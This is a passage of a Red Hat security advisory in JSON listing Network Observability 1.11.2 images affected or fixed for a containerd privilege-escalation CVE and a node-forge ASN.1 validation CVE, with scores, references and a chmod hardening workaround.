"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2413190"
}
],
"notes": [
{
"category": "description",
"text": "A local privilege escalation vulnerability has been discovered in containerd. This vulnerability is the result of an overly broad default permission which allows local users on the host to potentially access the metadata store, the content store and the contents of Kubernetes local volumes. The contents of volumes might include setuid binaries, which could allow a local user on the host to elevate privileges on the host.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "github.com/containerd/containerd: containerd local privilege escalation",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2024-25621"
},
{
"category": "external",
"summary": "RHBZ#2413190",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413190"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2024-25621",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-25621"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2024-25621",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25621"
},
{
"category": "external",
"summary": "https://github.com/containerd/containerd/blob/main/docs/rootless.md",
"url": "https://github.com/containerd/containerd/blob/main/docs/rootless.md"
},
{
"category": "external",
"summary": "https://github.com/containerd/containerd/commit/7c59e8e9e970d38061a77b586b23655c352bfec5",
"url": "https://github.com/containerd/containerd/commit/7c59e8e9e970d38061a77b586b23655c352bfec5"
},
{
"category": "external",
"summary": "https://github.com/containerd/containerd/security/advisories/GHSA-pwhc-rpq9-4c8w",
"url": "https://github.com/containerd/containerd/security/advisories/GHSA-pwhc-rpq9-4c8w"
}
],
"release_date": "2025-11-06T18:36:21.566000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "The system administrator on the host can manually chmod the directories to not\nhave group or world accessible permissions:\n```\nchmod 700 /var/lib/containerd\nchmod 700 /run/containerd/io.containerd.grpc.v1.cri\nchmod 700 /run/containerd/io.containerd.sandbox.controller.v1.shim\n```\nAn alternative mitigation would be to run containerd in rootless mode.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 7.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "github.com/containerd/containerd: containerd local privilege escalation"
},
{
"cve": "CVE-2025-12816",
"cwe": {
"id": "CWE-179",
"name": "Incorrect Behavior Order: Early Validation"
},
"discovery_date": "2025-11-25T20:01:05.875196+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2417097"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-forge. This vulnerability allows unauthenticated attackers to bypass downstream cryptographic verifications and security decisions via crafting ASN.1 (Abstract Syntax Notation One) structures to desynchronize schema validations, yielding a semantic divergence.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-forge: node-forge: Interpretation conflict vulnerability allows bypassing cryptographic verifications",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products due to an interpretation conflict in the node-forge library. An unauthenticated attacker could exploit this flaw by crafting malicious ASN.1 structures, leading to a bypass of cryptographic verifications and security decisions in affected applications. This impacts various Red Hat products that utilize node-forge for cryptographic operations.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
